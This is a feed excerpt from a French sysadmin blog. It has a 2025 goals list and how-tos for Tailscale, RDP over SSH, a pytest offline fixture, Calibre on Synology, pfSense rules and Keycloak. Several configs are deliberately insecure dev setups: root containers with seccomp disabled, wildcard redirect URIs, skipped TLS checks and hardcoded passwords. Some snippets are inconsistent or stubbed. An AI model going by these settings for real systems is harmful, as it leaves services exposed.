&lt;p&gt;Voici donc mon programme pour cette année 2025:&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;1. Investissements en immobilier&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Créer mon propre Arduino avec un PCB maison #learn&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Tous les ans je me fixe des objectifs professionnels que je partage sur ce blog. Cela me permet de me focaliser durant l&rsquo;année et surtout de me challenger chaque année. Cette année, je me suis fixé un énorme challenge personnel du coup je vais lever le pied sur les challenges pro.</p>
<p>Voici donc mon programme pour cette année 2025:</p>
<br/>
<p><strong>1. Investissements en immobilier</strong></p>
<p><strong>2. Créer mon propre Arduino avec un PCB maison #learn</strong></p>
<p><strong>3. Découvrir la découpe laser</strong></p>
<p><strong>4. Automatiser mon jardin hydroponique</strong></p>
<p><strong>5. Tester l&rsquo;impression 3D avec filament soit disant aussi résistant que le métal</strong></p>
<p><strong>6. Créer un détecteur d&rsquo;intrusion via de l&rsquo;IA et autonome avec déclenchement de lacrymo ou fumigène</strong></p>
<p><strong>7. Créer un GUI en Rust</strong></p>
<p><strong>8. Développer ma nouvelle activité de f-CTO</strong></p>
<p><strong>9. Après les NFTs, il y a les dNFT. Creuser le sujet</strong></p>
<p><strong>10. Suivi de trading auto</strong></p>
<p><strong>11. Finir mon routeur solaire (plugin box domotique)</strong></p>
<p><strong>12. &ldquo;Industrialiser&rdquo; mon setup domotique</strong></p>
<p><strong>13. Lire un livre de développement perso</strong></p>
<p><strong>14. Construire un Server AI maison (LLM débridé + AI agents)</strong></p>
<p><strong>15. Créer un panneau de contrôle digne de ce nom pour ma box domotique</strong></p>
<p><strong>16. Créer un IMSI catcher passif (légal)</strong></p>
<p><strong>17. Lire un autre livre de trading</strong></p>
]]></content>
        </item>
        
        <item>
            <title>Installer Tailscale sur Fedora</title>
            <link>https://leandeep.com/installer-tailscale-sur-fedora/</link>
            <pubDate>Wed, 11 Dec 2024 23:32:00 +0200</pubDate>
            
            <guid>https://leandeep.com/installer-tailscale-sur-fedora/</guid>
            <description>&lt;p&gt;Pour installer Tailscale sur Fedora Desktop, suivez les étapes ci-dessous. Tailscale permet de configurer un réseau privé virtuel (VPN) de manière simple, en s&amp;rsquo;appuyant sur WireGuard.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Installer Tailscale&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo dnf install tailscale
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Démarrer et activer Tailscale&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo systemctl start tailscaled
sudo systemctl enable tailscaled
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Connecter votre desktop à Tailscale&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Editer le fichier &lt;code&gt;sudo vim /etc/sysctl.conf&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;net.ipv4.ip_forward = 1
net.ipv6.conf.all.forwarding = 1
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Et appliquer les changements:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo sysctl -p
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Lancer l&amp;rsquo;authentification&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo tailscale up --advertise-exit-node
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Troubleshooting&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Pour installer Tailscale sur Fedora Desktop, suivez les étapes ci-dessous. Tailscale permet de configurer un réseau privé virtuel (VPN) de manière simple, en s&rsquo;appuyant sur WireGuard.</p>
<p><strong>Installer Tailscale</strong></p>
<pre tabindex="0"><code>sudo dnf install tailscale
</code></pre><br/>
<p><strong>Démarrer et activer Tailscale</strong></p>
<pre tabindex="0"><code>sudo systemctl start tailscaled
sudo systemctl enable tailscaled
</code></pre><br/>
<p><strong>Connecter votre desktop à Tailscale</strong></p>
<p>Editer le fichier <code>sudo vim /etc/sysctl.conf</code>:</p>
<pre tabindex="0"><code>net.ipv4.ip_forward = 1
net.ipv6.conf.all.forwarding = 1
</code></pre><p>Et appliquer les changements:</p>
<pre tabindex="0"><code>sudo sysctl -p
</code></pre><br/>
<p><strong>Lancer l&rsquo;authentification</strong></p>
<pre tabindex="0"><code>sudo tailscale up --advertise-exit-node
</code></pre><br/>
<p><strong>Troubleshooting</strong></p>
<pre tabindex="0"><code>tailscale status
</code></pre><br/>
<p><strong>Update</strong></p>
<p>Tailscale sera mis à jour automatiquement via dnf lors des mises à jour du système. Vous pouvez également le mettre à jour manuellement avec:</p>
<pre tabindex="0"><code>sudo dnf update tailscale
</code></pre>]]></content>
        </item>
        
        <item>
            <title>RDP sécurisé avec SSH sur Fedora</title>
            <link>https://leandeep.com/rdp-s%C3%A9curis%C3%A9-avec-ssh-sur-fedora/</link>
            <pubDate>Wed, 11 Dec 2024 23:32:00 +0200</pubDate>
            
            <guid>https://leandeep.com/rdp-s%C3%A9curis%C3%A9-avec-ssh-sur-fedora/</guid>
            <description>&lt;p&gt;Dans cet article, nous allons voir comment mettre en place un Remote Desktop Protocol (RDP) avec du SSH sur une distribution Fedora.&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Installation&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo dnf install -y xrdp
sudo systemctl enable xrdp --now
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Configuration&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo firewall-cmd --add-port=3389/tcp --permanent
sudo firewall-cmd --reload
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Connexion&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;On finalise la configuration. On désactive Wayland:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Wayland est un protocole et une architecture de serveur d&amp;rsquo;affichage pour les systèmes d&amp;rsquo;exploitation basés sur Linux. Il remplace ou complète le serveur d&amp;rsquo;affichage X11 (ou X Window System) utilisé traditionnellement sur Linux depuis des décennies.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans cet article, nous allons voir comment mettre en place un Remote Desktop Protocol (RDP) avec du SSH sur une distribution Fedora.</p>
<br/>
<p><strong>Installation</strong></p>
<pre tabindex="0"><code>sudo dnf install -y xrdp
sudo systemctl enable xrdp --now
</code></pre><br/>
<p><strong>Configuration</strong></p>
<pre tabindex="0"><code>sudo firewall-cmd --add-port=3389/tcp --permanent
sudo firewall-cmd --reload
</code></pre><br/>
<p><strong>Connexion</strong></p>
<p>On finalise la configuration. On désactive Wayland:</p>
<blockquote>
<p>Wayland est un protocole et une architecture de serveur d&rsquo;affichage pour les systèmes d&rsquo;exploitation basés sur Linux. Il remplace ou complète le serveur d&rsquo;affichage X11 (ou X Window System) utilisé traditionnellement sur Linux depuis des décennies.</p></blockquote>
<pre tabindex="0"><code>ssh -L 3389:localhost:3389 user@adresse_ip_fedora
</code></pre><p>Editer le fichier <code>sudo nano /etc/gdm/custom.conf</code> et ajouter la ligne suivante:</p>
<pre tabindex="0"><code>WaylandEnable=false
</code></pre><pre tabindex="0"><code>sudo systemctl restart gdm
</code></pre><blockquote>
<p>GDM (pour GNOME Display Manager) est un gestionnaire de session et d&rsquo;affichage utilisé principalement avec l&rsquo;environnement de bureau GNOME</p></blockquote>
<br/>
<p><strong>Utilisation</strong></p>
<p>Pour prendre le contrôle de votre Fedora depuis OSX par exemple, installez <code>Windows Apps</code> depuis l&rsquo;AppStore et configurez votre connexion avec vos credentials SSH + <code>localhost:3389</code></p>
]]></content>
        </item>
        
        <item>
            <title>Simuler un mode offline pour certains tests Pytest</title>
            <link>https://leandeep.com/simuler-un-mode-offline-pour-certains-tests-pytest/</link>
            <pubDate>Tue, 10 Dec 2024 23:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/simuler-un-mode-offline-pour-certains-tests-pytest/</guid>
            <description>&lt;p&gt;Pour certains, cet article peut sembler inutile car ils vous diront qu&amp;rsquo;il suffit de couper le wifi sur son laptop pour ne plus avoir internet. Ce n&amp;rsquo;est pas faux, mais parfois et sans rentrer dans le détail, il n&amp;rsquo;est pas toujours possible de travailler offline pendant des heures.&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;Voici donc un tip pour simuler dans des tests unitaires la déconnexion d&amp;rsquo;internet.
Il suffit de créer la fixture pytest suivante et de l&amp;rsquo;appeler dans vos tests.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Pour certains, cet article peut sembler inutile car ils vous diront qu&rsquo;il suffit de couper le wifi sur son laptop pour ne plus avoir internet. Ce n&rsquo;est pas faux, mais parfois et sans rentrer dans le détail, il n&rsquo;est pas toujours possible de travailler offline pendant des heures.</p>
<br/>
<p>Voici donc un tip pour simuler dans des tests unitaires la déconnexion d&rsquo;internet.
Il suffit de créer la fixture pytest suivante et de l&rsquo;appeler dans vos tests.</p>
<br/>
<p>En pré-requis, il suffit d&rsquo;installer le package <code>pytest-network</code>.</p>
<pre tabindex="0"><code>import pytest
import socket

_original_connect = socket.socket.connect


def patched_connect(*args, **kwargs):
    ...
    # It depends on your testing purpose
    # You may want a exception, add here
    # If you test unconnectable situations
    # it can stay like this


@pytest.fixture
def enable_network():
    socket.socket.connect = _original_connect
    yield
    socket.socket.connect = patched_connect


@pytest.fixture
def disable_network():
    socket.socket.connect = patched_connect
    yield
    socket.socket.connect = _original_connect
</code></pre><br/>
<p>Testé et approuvé, très utile en ce qui me concerne.</p>
]]></content>
        </item>
        
        <item>
            <title>Installer Calibre sur Synology</title>
            <link>https://leandeep.com/installer-calibre-sur-synology/</link>
            <pubDate>Tue, 19 Nov 2024 07:00:00 +0200</pubDate>
            
            <guid>https://leandeep.com/installer-calibre-sur-synology/</guid>
            <description>&lt;p&gt;Dans cet article, nous allons voir comment installer Calibre sur un Synology.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installation&#34;&gt;Installation&lt;/h2&gt;
&lt;p&gt;Installer &lt;code&gt;Container Manager&lt;/code&gt; depuis le &lt;code&gt;Package Center&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Depuis &lt;code&gt;File Station&lt;/code&gt;, ouvrir le dossier &lt;code&gt;docker&lt;/code&gt; dans le menu de gauche. A l&amp;rsquo;intérieur de ce dossier &lt;code&gt;docker&lt;/code&gt;, créer un nouveau dossier appelé &lt;code&gt;calibre&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Créer un &lt;code&gt;User-defined script&lt;/code&gt; permettant de démarrer le container Calibre Web. Pour se faire, aller dans &lt;code&gt;Control Panel / Task Scheduler / Create / Scheduled Task / User-defined script&lt;/code&gt; puis créer la tâche dans la fenêtre qui s&amp;rsquo;ouvre comme ceci:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans cet article, nous allons voir comment installer Calibre sur un Synology.</p>
<br/>
<h2 id="installation">Installation</h2>
<p>Installer <code>Container Manager</code> depuis le <code>Package Center</code>.</p>
<p>Depuis <code>File Station</code>, ouvrir le dossier <code>docker</code> dans le menu de gauche. A l&rsquo;intérieur de ce dossier <code>docker</code>, créer un nouveau dossier appelé <code>calibre</code>.</p>
<p>Créer un <code>User-defined script</code> permettant de démarrer le container Calibre Web. Pour se faire, aller dans <code>Control Panel / Task Scheduler / Create / Scheduled Task / User-defined script</code> puis créer la tâche dans la fenêtre qui s&rsquo;ouvre comme ceci:</p>
<ol>
<li>General: Dans le champ Task entrer <code>Install Calibre</code>. Décochez le bouton <code>Enabled</code> et sélectionner l&rsquo;utilisateur <code>root</code>.</li>
<li>Schedule: Sélectionner <code>Run on the following date</code> et sélectionner <code>Do not repeat</code>.</li>
<li>Task Settings: Cocher <code>Send run details by email</code>, ajouter votre email et copier coller le code suivant dans la section Run avant de cliquer sur OK.</li>
</ol>
<pre tabindex="0"><code>docker run -d --name=calibre \
-p 7080:8080 \
-p 7081:8081 \
-e PUID=0 \
-e PGID=0 \
-e TZ=Europe/Paris \
-e CUSTOM_USER=calibre \
-e PASSWORD=password_for_calibre \
-v /volume1/docker/calibre:/config \
--security-opt seccomp=unconfined \
--restart always \
ghcr.io/linuxserver/calibre
</code></pre><br/>
<h2 id="vérification">Vérification</h2>
<p>Démarrer la task puis rendez-vous à l&rsquo;adresse suivante: <code>http://Synology-ip-address:7080</code></p>
]]></content>
        </item>
        
        <item>
            <title>Configure Pfsense pour qu&#39;un serveur ne soit accessible que par un seul host</title>
            <link>https://leandeep.com/configure-pfsense-pour-quun-serveur-ne-soit-accessible-que-par-un-seul-host/</link>
            <pubDate>Fri, 15 Nov 2024 21:00:00 +0200</pubDate>
            
            <guid>https://leandeep.com/configure-pfsense-pour-quun-serveur-ne-soit-accessible-que-par-un-seul-host/</guid>
            <description>&lt;p&gt;Pour configurer pfSense de manière à ce qu&amp;rsquo;un serveur soit accessible uniquement par un seul autre ordinateur sur le même réseau, vous pouvez suivre les étapes suivantes en utilisant les règles de pare-feu.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;hypothèses&#34;&gt;Hypothèses&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Serveur à l&amp;rsquo;adresse IP: &lt;code&gt;192.168.1.10&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Ordinateur autorisé à accéder à l&amp;rsquo;adresse IP: &lt;code&gt;192.168.1.20&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Réseau local (LAN) est &lt;code&gt;192.168.1.0/24&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Le serveur et l&amp;rsquo;ordinateur autorisé sont tous les deux sur l&amp;rsquo;interface LAN de pfSense.&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;h2 id=&#34;configuration&#34;&gt;Configuration&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Accéder à l&amp;rsquo;interface de pfSense :&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Connectez-vous à l&amp;rsquo;interface web de pfSense via https://&amp;lt;ip_de_pfSense&amp;gt;.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Pour configurer pfSense de manière à ce qu&rsquo;un serveur soit accessible uniquement par un seul autre ordinateur sur le même réseau, vous pouvez suivre les étapes suivantes en utilisant les règles de pare-feu.</p>
<br/>
<h2 id="hypothèses">Hypothèses</h2>
<ul>
<li>Serveur à l&rsquo;adresse IP: <code>192.168.1.10</code></li>
<li>Ordinateur autorisé à accéder à l&rsquo;adresse IP: <code>192.168.1.20</code></li>
<li>Réseau local (LAN) est <code>192.168.1.0/24</code></li>
<li>Le serveur et l&rsquo;ordinateur autorisé sont tous les deux sur l&rsquo;interface LAN de pfSense.</li>
</ul>
<br/>
<h2 id="configuration">Configuration</h2>
<ol>
<li>Accéder à l&rsquo;interface de pfSense :</li>
</ol>
<p>Connectez-vous à l&rsquo;interface web de pfSense via https://&lt;ip_de_pfSense&gt;.</p>
<br/>
<ol start="2">
<li>Accéder à la configuration du pare-feu :</li>
</ol>
<ul>
<li>Allez dans Firewall &gt; Rules.</li>
<li>Sélectionnez l&rsquo;interface LAN (ou l&rsquo;interface appropriée si vos appareils sont sur une autre interface).</li>
</ul>
<br/>
<ol start="3">
<li>Créer une règle d&rsquo;autorisation pour l&rsquo;ordinateur autorisé :</li>
</ol>
<ul>
<li>
<p>Cliquez sur Add pour ajouter une nouvelle règle.</p>
</li>
<li>
<p>Configurez la règle comme suit:</p>
<ul>
<li>Action: Pass</li>
<li>Interface: LAN</li>
<li>Address Family: IPv4</li>
<li>Protocol: Any (ou choisissez un protocole spécifique si nécessaire, comme TCP)</li>
<li>Source: Single host or alias, puis entrez 192.168.1.20 (IP de l&rsquo;ordinateur autorisé)</li>
<li>Destination: Single host or alias, puis entrez 192.168.1.10 (IP du serveur)</li>
<li>Description: Entrez une description comme <code>Autoriser accès à 192.168.1.10 depuis 192.168.1.20</code></li>
</ul>
</li>
<li>
<p>Cliquez sur Save pour enregistrer la règle.</p>
</li>
<li>
<p>Cliquez sur Apply Changes pour appliquer la règle.</p>
</li>
</ul>
<br/>
<ol start="4">
<li>Bloquer l&rsquo;accès pour tous les autres appareils:</li>
</ol>
<ul>
<li>Ajoutez une nouvelle règle sous celle que vous venez de créer.</li>
<li>Configurez la règle comme suit:
<ul>
<li>Action: Block</li>
<li>Interface: LAN</li>
<li>Address Family: IPv4</li>
<li>Protocol: Any (ou choisissez un protocole spécifique)</li>
<li>Source: LAN net (ou choisissez Any si vous souhaitez bloquer tout le trafic)</li>
<li>Destination: Single host or alias, puis entrez 192.168.1.10 (IP du serveur)</li>
<li>Description: Entrez une description comme <code>Bloquer accès à 192.168.1.10 pour tous sauf 192.168.1.20</code></li>
</ul>
</li>
<li>Cliquez sur Save pour enregistrer la règle.</li>
<li>Cliquez sur Apply Changes pour appliquer la règle.</li>
</ul>
<br/>
<h2 id="important-ordre-des-règles">Important: Ordre des règles</h2>
<p>Assurez-vous que la règle qui autorise l&rsquo;accès depuis l&rsquo;ordinateur autorisé (<code>Pass</code>) est placée avant la règle qui bloque tout le monde (<code>Block</code>). L&rsquo;ordre des règles est crucial dans pfSense, car les règles sont évaluées de haut en bas.</p>
<br/>
<h2 id="tester-la-configuration">Tester la configuration</h2>
<p>Depuis l&rsquo;ordinateur autorisé (192.168.1.20), essayez d&rsquo;accéder au serveur (192.168.1.10). Vous devriez avoir accès.
Depuis un autre ordinateur sur le réseau (192.168.1.X), essayez d&rsquo;accéder au serveur. L&rsquo;accès devrait être refusé.</p>
<br/>
<h2 id="autre">Autre</h2>
<ul>
<li>Vous pouvez surveiller le trafic et voir les logs dans Status &gt; System Logs &gt; Firewall pour vérifier si les règles fonctionnent comme prévu.</li>
<li>Pour des configurations plus avancées, envisagez d&rsquo;utiliser des alias dans pfSense, ce qui permet de simplifier la gestion des règles.</li>
</ul>
<br/>
<p>Cette configuration garantit que seul l&rsquo;ordinateur spécifié peut accéder au serveur, tout en bloquant tous les autres appareils du réseau local.</p>
]]></content>
        </item>
        
        <item>
            <title>Configure Keycloak to secure your apps and API endpoints</title>
            <link>https://leandeep.com/configure-keycloak-to-secure-your-apps-and-api-endpoints/</link>
            <pubDate>Wed, 13 Nov 2024 07:00:00 +0200</pubDate>
            
            <guid>https://leandeep.com/configure-keycloak-to-secure-your-apps-and-api-endpoints/</guid>
            <description>&lt;p&gt;In this brief article we are going to create a basic realm in Keycloak to secure an API. It&amp;rsquo;s a very minimal setup to quickly get started and secure your app and API. No RBAC, no security defense, and no Google/ Facebook Connect&amp;hellip; configs are explained in this article. I will probably create other articles about these subjets later as I am extensively leveraging Keycloak features. There is indeed no need to setup a complexe Identity and Access Management tool like Keycloak if you are not going to leverage it&amp;hellip;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>In this brief article we are going to create a basic realm in Keycloak to secure an API. It&rsquo;s a very minimal setup to quickly get started and secure your app and API. No RBAC, no security defense, and no Google/ Facebook Connect&hellip; configs are explained in this article. I will probably create other articles about these subjets later as I am extensively leveraging Keycloak features. There is indeed no need to setup a complexe Identity and Access Management tool like Keycloak if you are not going to leverage it&hellip;</p>
<br/>
<h2 id="installation">Installation</h2>
<p><strong>Via Docker compose</strong></p>
<pre tabindex="0"><code>x-logging: &amp;logging
  driver: &#34;json-file&#34;
  options:
    max-size: &#34;10m&#34;
    max-file: &#34;3&#34;

services:
  postgres:
    image: postgres:${POSTGRES_VERSION}
    restart: unless-stopped
    healthcheck:
      test: [&#34;CMD&#34;, &#34;pg_isready&#34;, &#34;-U&#34;, &#34;keycloak&#34;]
    environment:
      POSTGRES_DB: keycloak
      POSTGRES_USER: keycloak
      POSTGRES_PASSWORD: password
    volumes:
      - type: tmpfs
        target: /var/lib/postgresql/data
        tmpfs:
          size: 100000000
    logging: *logging

  keycloak:
    image: quay.io/keycloak/keycloak:${KC_VERSION}
    command: [&#34;start-dev&#34;, &#34;--import-realm&#34;]
    restart: unless-stopped
    environment:
      KC_DB: postgres
      KC_DB_USERNAME: keycloak
      KC_DB_PASSWORD: password
      KC_DB_URL: &#34;jdbc:postgresql://postgres:5432/keycloak&#34;
      KC_METRICS_ENABLED: true
      KC_LOG_LEVEL: ${KC_LOG_LEVEL}
      KC_REALM_NAME: ${KC_REALM_NAME}
      KC_BOOTSTRAP_ADMIN_USERNAME: ${KEYCLOAK_ADMIN}
      KC_BOOTSTRAP_ADMIN_PASSWORD: ${KEYCLOAK_ADMIN_PASSWORD}
      GF_URL: ${GF_HOSTNAME}:${GF_SERVER_HTTP_PORT}
      GF_ADMIN_USERNAME: ${GF_ADMIN_USERNAME}
      GF_ADMIN_PASSWORD: ${GF_ADMIN_PASSWORD}
    ports:
      - ${KC_PORT}:8080
    volumes:
      - ./keycloak/realm.json:/opt/keycloak/data/import/realm.json:ro
    logging: *logging

  prometheus:
    image: prom/prometheus:${PROMETHEUS_VERSION}
    command:
      - &#39;--config.file=/etc/prometheus/prometheus.yml&#39;
      - &#39;--storage.tsdb.path=/prometheus&#39;
      - &#39;--storage.tsdb.retention.time=30d&#39;
      - &#39;--storage.tsdb.wal-compression&#39;
      - &#39;--web.enable-lifecycle&#39;
    restart: unless-stopped
    healthcheck:
      test: [&#34;CMD&#34;, &#34;wget&#34;, &#34;--tries=1&#34;, &#34;--spider&#34;, &#34;http://localhost:9090/-/healthy&#34;]
    ports:
      - ${PROMETHEUS_PORT}:9090
    volumes:
      - ./prometheus/prometheus.yml:/etc/prometheus/prometheus.yml:ro
    logging: *logging

  grafana:
    image: grafana/grafana-oss:${GF_VERSION}
    restart: unless-stopped
    ports:
      - ${GF_SERVER_HTTP_PORT}:${GF_SERVER_HTTP_PORT}
    healthcheck:
      test: [&#34;CMD&#34;, &#34;wget&#34;, &#34;--spider&#34;, &#34;http://localhost:${GF_SERVER_HTTP_PORT}/api/health&#34;]
    environment:
      GF_SERVER_HTTP_PORT: ${GF_SERVER_HTTP_PORT}
      GF_SERVER_ROOT_URL: ${GF_HOSTNAME}:${GF_SERVER_HTTP_PORT}
      GF_LOG_LEVEL: ${GF_LOG_LEVEL}
      GF_AUTH_BASIC_ENABLED: true
      GF_AUTH_DISABLE_LOGIN_FORM: true
      GF_AUTH_GENERIC_OAUTH_TLS_SKIP_VERIFY_INSECURE: true
      GF_AUTH_GENERIC_OAUTH_ENABLED: true
      GF_AUTH_GENERIC_OAUTH_NAME: Keycloak
      GF_AUTH_GENERIC_OAUTH_ALLOW_SIGN_UP: true
      GF_AUTH_GENERIC_OAUTH_CLIENT_ID: &#34;grafana&#34;
      GF_AUTH_GENERIC_OAUTH_EMAIL_ATTRIBUTE_NAME: &#34;email:primary&#34;
      GF_AUTH_GENERIC_OAUTH_SCOPES: &#34;openid profile email&#34;
      GF_AUTH_GENERIC_OAUTH_AUTH_URL: ${KC_HOSTNAME}:${KC_PORT}/realms/${KC_REALM_NAME}/protocol/openid-connect/auth
      GF_AUTH_GENERIC_OAUTH_TOKEN_URL: http://keycloak:${KC_PORT}/realms/${KC_REALM_NAME}/protocol/openid-connect/token
      GF_AUTH_GENERIC_OAUTH_API_URL: ${KC_HOSTNAME}:${KC_PORT}/realms/${KC_REALM_NAME}/protocol/openid-connect/userinfo
    volumes:
      - ./grafana/dashboards:/etc/grafana/provisioning/dashboards:ro
      - ./grafana/datasources:/etc/grafana/provisioning/datasources:ro
    logging: *logging
</code></pre><blockquote>
<p>Obviously it&rsquo;s not the config for your prod environment.</p></blockquote>
<br/>
<h2 id="configuration">Configuration</h2>
<h3 id="option-1-configuration-via-gui">Option 1: configuration via GUI</h3>
<p>Go to http://localhost:8080/ and login using <code>admin</code>/<code>keycloak</code> credentials.</p>
<ol>
<li>Create a new realm: <code>realm_test</code></li>
<li>On <code>realm settings</code> -&gt; <code>login</code> check <code>Email as username</code>.</li>
<li>Create a new client and select:
<ul>
<li>Client type: <code>OpenID Connect</code></li>
<li>Clent ID: <code>test_config</code></li>
<li>Name: <code>test_config</code></li>
<li>Client authentication: <code>Off</code></li>
<li>Authorization: <code>Off</code></li>
<li>Authentication Flow: <code>Standard flow</code> + <code>Direct access grants</code></li>
<li>Web origins: <code>*</code> (for CORS -&gt; We don&rsquo;t care in dev)</li>
</ul>
</li>
<li>Create a user: <code>olivier.olivier@example.com</code> with email verified and set a non temporary password <code>olivierolivier</code>.</li>
</ol>
<br/>
<h3 id="option-2-configuration-via-curl">Option 2: configuration via curl</h3>
<p>Get admin token</p>
<pre tabindex="0"><code>export TOKEN=$(curl -s -X POST \
  &#34;http://localhost:8080/realms/master/protocol/openid-connect/token&#34; \
  -H &#34;Content-Type: application/x-www-form-urlencoded&#34; \
  -d &#34;username=admin&#34; \
  -d &#34;password=keycloak&#34; \
  -d &#34;grant_type=password&#34; \
  -d &#34;client_id=admin-cli&#34; | jq -r .access_token)
</code></pre><br/>
<p><code>realm</code> creation:</p>
<pre tabindex="0"><code>curl -X POST &#34;http://localhost:8080/admin/realms&#34; \
  -H &#34;Authorization: Bearer $TOKEN&#34; \
  -H &#34;Content-Type: application/json&#34; \
  -d &#39;{
    &#34;realm&#34;: &#34;myrealm&#34;,
    &#34;enabled&#34;: true,
    &#34;registrationEmailAsUsername&#34;: true
  }&#39;
</code></pre><br/>
<p>Create a new <code>client_id</code> (warning it is permissive as webOrigins &amp; redirectUris are equal to <code>*</code>)</p>
<pre tabindex="0"><code>curl -X POST &#34;http://localhost:8080/admin/realms/myrealm/clients&#34; \
  -H &#34;Authorization: Bearer $TOKEN&#34; \
  -H &#34;Content-Type: application/json&#34; \
  -d &#39;{
    &#34;clientId&#34;: &#34;myrealm_client_id&#34;,
    &#34;name&#34;: &#34;myrealm_client_id&#34;,
    &#34;protocol&#34;: &#34;openid-connect&#34;,
    &#34;publicClient&#34;: true,
    &#34;authorizationServicesEnabled&#34;: false,
    &#34;standardFlowEnabled&#34;: true,
    &#34;directAccessGrantsEnabled&#34;: true,
    &#34;implicitFlowEnabled&#34;: false,
    &#34;serviceAccountsEnabled&#34;: false,
    &#34;webOrigins&#34;: [&#34;*&#34;],
    &#34;redirectUris&#34;: [&#34;*&#34;]
  }&#39;
</code></pre><br/>
<p>Create a user</p>
<pre tabindex="0"><code>curl -X POST &#34;http://localhost:8080/admin/realms/myrealm/users&#34; \
  -H &#34;Authorization: Bearer $TOKEN&#34; \
  -H &#34;Content-Type: application/json&#34; \
  -d &#39;{
        &#34;username&#34;: &#34;user&#34;,
        &#34;email&#34;: &#34;user@example.com&#34;,
        &#34;enabled&#34;: true,
        &#34;emailVerified&#34;: true,
        &#34;firstName&#34;: &#34;Papa&#34;,
        &#34;lastName&#34;: &#34;Example&#34;
  }&#39;
</code></pre><br/>
<p>Get user id</p>
<pre tabindex="0"><code>USER_ID=$(curl -s -X GET &#34;http://localhost:8080/admin/realms/myrealm/users?username=user&#34; \
  -H &#34;Authorization: Bearer $TOKEN&#34; \
  -H &#34;Content-Type: application/json&#34; | jq -r &#39;.[0].id&#39;)
</code></pre><br/>
<p>Set password</p>
<pre tabindex="0"><code>curl -X PUT &#34;http://localhost:8080/admin/realms/myrealm/users/$USER_ID/reset-password&#34; \
  -H &#34;Authorization: Bearer $TOKEN&#34; \
  -H &#34;Content-Type: application/json&#34; \
  -d &#39;{
    &#34;type&#34;: &#34;password&#34;,
    &#34;value&#34;: &#34;password&#34;,
    &#34;temporary&#34;: false
  }&#39;
</code></pre><br/>
<h2 id="login-verify-config-ok">Login/ Verify config OK</h2>
<p>Verify you can connect using your newly created account on the realm.</p>
<p>To do so go to <a href="http://localhost:8080/realms/myrealm/protocol/openid-connect/auth?client_id=account-console">http://localhost:8080/realms/myrealm/protocol/openid-connect/auth?client_id=account-console</a> and try to login using the UI.</p>
<br/>
<p>If it&rsquo;s ok let&rsquo;s try to get an access_token using the REST API:</p>
<pre tabindex="0"><code>curl -X POST &#34;http://localhost:8080/realms/myrealm/protocol/openid-connect/token&#34; \
     -H &#34;Content-Type: application/x-www-form-urlencoded&#34; \
     -d &#34;client_id=test_config&#34; \
     -d &#34;grant_type=password&#34; \
     -d &#34;username=user@example.com&#34; \
     -d &#34;password=password&#34; \
     -d &#34;scope=openid&#34;
</code></pre><p>If you get a response like this you are all set:</p>
<pre tabindex="0"><code>{&#34;access_token&#34;:&#34;eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICJqaTNPRHRHS0tmcW9XNHVtOGptN1p4eVVUU3NxMGFEWFJJSnYtZGRNQXZ3In0.eyJleHAiOjE3MzE1MzQ2MzksImlhdCI6MTczMTUzNDMzOSwianRpIjoiMGQ4NDRjNWQtZGRhYi00YTg1LTljMjItY2FjNTg0NWI4NWU5IiwiaXNzIjoiaHR0cDovL2xvY2FsaG9zdDo4MDgwL3JlYWxtcy90ZV9kaXJlIiwiYXVkIjoiYWNjb3VudCIsInN1YiI6ImUzYzhkZjM2LWY3NmEtNDc4OC05OWM1LWU0N...
</code></pre><br/>
<p>Extract your access_token and now try to retrieve your account personal info:</p>
